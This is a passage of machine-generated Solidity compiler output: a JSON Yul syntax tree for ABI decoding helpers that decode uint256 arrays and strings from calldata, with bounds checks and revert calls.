"src": "17752:14:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "src", | |
"nodeType": "YulIdentifier", | |
"src": "17745:3:1" | |
} | |
] | |
} | |
] | |
}, | |
"pre": { | |
"nodeType": "YulBlock", | |
"src": "17705:21:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "17707:17:1", | |
"value": { | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "17718:6:1" | |
}, | |
"variables": [ | |
{ | |
"name": "src", | |
"nodeType": "YulTypedName", | |
"src": "17711:3:1", | |
"type": "" | |
} | |
] | |
} | |
] | |
}, | |
"src": "17701:220:1" | |
} | |
] | |
}, | |
"name": "abi_decode_available_length_t_array$_t_uint256_$dyn_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "17289:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "17297:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "17305:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "array", | |
"nodeType": "YulTypedName", | |
"src": "17313:5:1", | |
"type": "" | |
} | |
], | |
"src": "17217:710:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "18027:293:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "18076:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d", | |
"nodeType": "YulIdentifier", | |
"src": "18078:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "18078:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "18078:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "18055:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "18063:4:1", | |
"type": "", | |
"value": "0x1f" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "18051:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "18051:17:1" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "18070:3:1" | |
} | |
], | |
"functionName": { | |
"name": "slt", | |
"nodeType": "YulIdentifier", | |
"src": "18047:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "18047:27:1" | |
} | |
], | |
"functionName": { | |
"name": "iszero", | |
"nodeType": "YulIdentifier", | |
"src": "18040:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "18040:35:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "18037:122:1" | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "18168:34:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "18195:6:1" | |
} | |
], | |
"functionName": { | |
"name": "calldataload", | |
"nodeType": "YulIdentifier", | |
"src": "18182:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "18182:20:1" | |
}, | |
"variables": [ | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "18172:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "18211:103:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "18287:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "18295:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "18283:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "18283:17:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "18302:6:1" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "18310:3:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_decode_available_length_t_array$_t_uint256_$dyn_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "18220:62:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "18220:94:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "array", | |
"nodeType": "YulIdentifier", | |
"src": "18211:5:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_decode_t_array$_t_uint256_$dyn_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "18005:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "18013:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "array", | |
"nodeType": "YulTypedName", | |
"src": "18021:5:1", | |
"type": "" | |
} | |
], | |
"src": "17950:370:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "18415:28:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "18432:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "18435:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "18425:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "18425:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "18425:12:1" | |
} | |
] | |
}, | |
"name": "revert_error_3538a459e4a0eb828f1aed5ebe5dc96fe59620a31d9b33e41259bb820cae769f", | |
"nodeType": "YulFunctionDefinition", | |
"src": "18326:117:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "18538:28:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "18555:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "18558:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "18548:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "18548:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "18548:12:1" | |
} | |
] | |
}, | |
"name": "revert_error_5e8f644817bc4960744f35c15999b6eff64ae702f94b1c46297cfd4e1aec2421", | |
"nodeType": "YulFunctionDefinition", | |
"src": "18449:117:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "18661:28:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "18678:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "18681:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "18671:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "18671:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "18671:12:1" | |
} | |
] | |
}, | |
"name": "revert_error_987264b3b1d58a9c7f8255e93e81c77d86d6299019c33110a076957a3e06e2ae", | |
"nodeType": "YulFunctionDefinition", | |
"src": "18572:117:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "18762:241:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "18867:22:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "panic_error_0x41", | |
"nodeType": "YulIdentifier", | |
"src": "18869:16:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "18869:18:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "18869:18:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "18839:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "18847:18:1", | |
"type": "", | |
"value": "0xffffffffffffffff" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "18836:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "18836:30:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "18833:56:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "18899:37:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "18929:6:1" | |
} | |
], | |
"functionName": { | |
"name": "round_up_to_mul_of_32", | |
"nodeType": "YulIdentifier", | |
"src": "18907:21:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "18907:29:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "size", | |
"nodeType": "YulIdentifier", | |
"src": "18899:4:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "18973:23:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "size", | |
"nodeType": "YulIdentifier", | |
"src": "18985:4:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "18991:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "18981:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "18981:15:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "size", | |
"nodeType": "YulIdentifier", | |
"src": "18973:4:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "array_allocation_size_t_string_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "18746:6:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "size", | |
"nodeType": "YulTypedName", | |
"src": "18757:4:1", | |
"type": "" | |
} | |
], | |
"src": "18695:308:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "19093:341:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "19103:75:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "19170:6:1" | |
} | |
], | |
"functionName": { | |
"name": "array_allocation_size_t_string_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "19128:41:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "19128:49:1" | |
} | |
], | |
"functionName": { | |
"name": "allocate_memory", | |
"nodeType": "YulIdentifier", | |
"src": "19112:15:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "19112:66:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "array", | |
"nodeType": "YulIdentifier", | |
"src": "19103:5:1" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "array", | |
"nodeType": "YulIdentifier", | |
"src": "19194:5:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "19201:6:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "19187:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "19187:21:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "19187:21:1" | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "19217:27:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "array", | |
"nodeType": "YulIdentifier", | |
"src": "19232:5:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "19239:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "19228:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "19228:16:1" | |
}, | |
"variables": [ | |
{ | |
"name": "dst", | |
"nodeType": "YulTypedName", | |
"src": "19221:3:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "19282:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_987264b3b1d58a9c7f8255e93e81c77d86d6299019c33110a076957a3e06e2ae", | |
"nodeType": "YulIdentifier", | |
"src": "19284:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "19284:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "19284:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "src", | |
"nodeType": "YulIdentifier", | |
"src": "19263:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "19268:6:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "19259:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "19259:16:1" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "19277:3:1" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "19256:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "19256:25:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "19253:112:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "src", | |
"nodeType": "YulIdentifier", | |
"src": "19411:3:1" | |
}, | |
{ | |
"name": "dst", | |
"nodeType": "YulIdentifier", | |
"src": "19416:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "19421:6:1" | |
} | |
], | |
"functionName": { | |
"name": "copy_calldata_to_memory_with_cleanup", | |
"nodeType": "YulIdentifier", | |
"src": "19374:36:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "19374:54:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "19374:54:1" | |
} | |
] | |
}, | |
"name": "abi_decode_available_length_t_string_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "src", | |
"nodeType": "YulTypedName", | |
"src": "19066:3:1", | |
"type": "" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "19071:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "19079:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "array", | |
"nodeType": "YulTypedName", | |
"src": "19087:5:1", | |
"type": "" | |
} | |
], | |
"src": "19009:425:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "19516:278:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "19565:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d", | |
"nodeType": "YulIdentifier", | |
"src": "19567:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "19567:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "19567:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "19544:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "19552:4:1", | |
"type": "", | |
"value": "0x1f" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "19540:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "19540:17:1" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "19559:3:1" | |
} | |
], | |
"functionName": { | |
"name": "slt", | |
"nodeType": "YulIdentifier", | |
"src": "19536:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "19536:27:1" | |
} | |
], | |
"functionName": { | |
"name": "iszero", | |
"nodeType": "YulIdentifier", | |
"src": "19529:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "19529:35:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "19526:122:1" | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "19657:34:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "19684:6:1" | |
} | |
], | |
"functionName": { | |
"name": "calldataload", | |
"nodeType": "YulIdentifier", | |
"src": "19671:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "19671:20:1" | |
}, | |
"variables": [ | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "19661:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "19700:88:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "19761:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "19769:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "19757:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "19757:17:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "19776:6:1" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "19784:3:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_decode_available_length_t_string_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "19709:47:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "19709:79:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "array", | |
"nodeType": "YulIdentifier", | |
"src": "19700:5:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_decode_t_string_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "19494:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "19502:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "array", | |
"nodeType": "YulTypedName", | |
"src": "19510:5:1", | |
"type": "" | |
} | |
], | |
"src": "19454:340:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "19880:169:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "19985:22:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "panic_error_0x41", | |
"nodeType": "YulIdentifier", | |
"src": "19987:16:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "19987:18:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "19987:18:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "19957:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "19965:18:1", | |
"type": "", | |
"value": "0xffffffffffffffff" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "19954:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "19954:30:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "19951:56:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "20017:25:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "20029:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "20037:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "mul", | |
"nodeType": "YulIdentifier", | |
"src": "20025:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "20025:17:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "size", | |
"nodeType": "YulIdentifier", | |
"src": "20017:4:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "array_allocation_size_t_array$_t_uint256_$2_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "19864:6:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "size", | |
"nodeType": "YulTypedName", | |
"src": "19875:4:1", | |
"type": "" | |
} | |
], | |
"src": "19800:249:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "20173:543:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "20183:88:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "20263:6:1" | |
} | |
], | |
"functionName": { | |
"name": "array_allocation_size_t_array$_t_uint256_$2_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "20208:54:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "20208:62:1" | |
} | |
], | |
"functionName": { | |
"name": "allocate_memory", | |
"nodeType": "YulIdentifier", | |
"src": "20192:15:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "20192:79:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "array", | |
"nodeType": "YulIdentifier", | |
"src": "20183:5:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "20280:16:1", | |
"value": { | |
"name": "array", | |
"nodeType": "YulIdentifier", | |
"src": "20291:5:1" | |
}, | |
"variables": [ | |
{ | |
"name": "dst", | |
"nodeType": "YulTypedName", | |
"src": "20284:3:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "20306:44:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "20324:6:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "20336:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "20344:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "mul", | |
"nodeType": "YulIdentifier", | |
"src": "20332:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "20332:17:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "20320:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "20320:30:1" | |
}, | |
"variables": [ | |
{ | |
"name": "srcEnd", | |
"nodeType": "YulTypedName", | |
"src": "20310:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "20378:103:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_81385d8c0b31fffe14be1da910c8bd3a80be4cfa248e04f42ec0faea3132a8ef", | |
"nodeType": "YulIdentifier", | |
"src": "20392:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "20392:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "20392:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "srcEnd", | |
"nodeType": "YulIdentifier", | |
"src": "20365:6:1" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "20373:3:1" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "20362:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "20362:15:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "20359:122:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "20566:144:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "20581:21:1", | |
"value": { | |
"name": "src", | |
"nodeType": "YulIdentifier", | |
"src": "20599:3:1" | |
}, | |
"variables": [ | |
{ | |
"name": "elementPos", | |
"nodeType": "YulTypedName", | |
"src": "20585:10:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "dst", | |
"nodeType": "YulIdentifier", | |
"src": "20623:3:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "elementPos", | |
"nodeType": "YulIdentifier", | |
"src": "20649:10:1" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "20661:3:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_decode_t_uint256", | |
"nodeType": "YulIdentifier", | |
"src": "20628:20:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "20628:37:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "20616:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "20616:50:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "20616:50:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "20679:21:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "dst", | |
"nodeType": "YulIdentifier", | |
"src": "20690:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "20695:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "20686:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "20686:14:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "dst", | |
"nodeType": "YulIdentifier", | |
"src": "20679:3:1" | |
} | |
] | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "src", | |
"nodeType": "YulIdentifier", | |
"src": "20519:3:1" | |
}, | |
{ | |
"name": "srcEnd", | |
"nodeType": "YulIdentifier", | |
"src": "20524:6:1" | |
} | |
], | |
"functionName": { | |
"name": "lt", | |
"nodeType": "YulIdentifier", | |
"src": "20516:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "20516:15:1" | |
}, | |
"nodeType": "YulForLoop", | |
"post": { | |
"nodeType": "YulBlock", | |
"src": "20532:25:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "20534:21:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "src", | |
"nodeType": "YulIdentifier", | |
"src": "20545:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "20550:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "20541:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "20541:14:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "src", | |
"nodeType": "YulIdentifier", | |
"src": "20534:3:1" | |
} | |
] | |
} | |
] | |
}, | |
"pre": { | |
"nodeType": "YulBlock", | |
"src": "20494:21:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "20496:17:1", | |
"value": { | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "20507:6:1" | |
}, | |
"variables": [ | |
{ | |
"name": "src", | |
"nodeType": "YulTypedName", | |
"src": "20500:3:1", | |
"type": "" | |
} | |
] | |
} | |
] | |
}, | |
"src": "20490:220:1" | |
} | |
] | |
}, | |
"name": "abi_decode_available_length_t_array$_t_uint256_$2_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "20143:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "20151:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "20159:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "array", | |
"nodeType": "YulTypedName", | |
"src": "20167:5:1", | |
"type": "" | |
} | |
], | |
"src": "20073:643:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "20815:264:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "20864:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
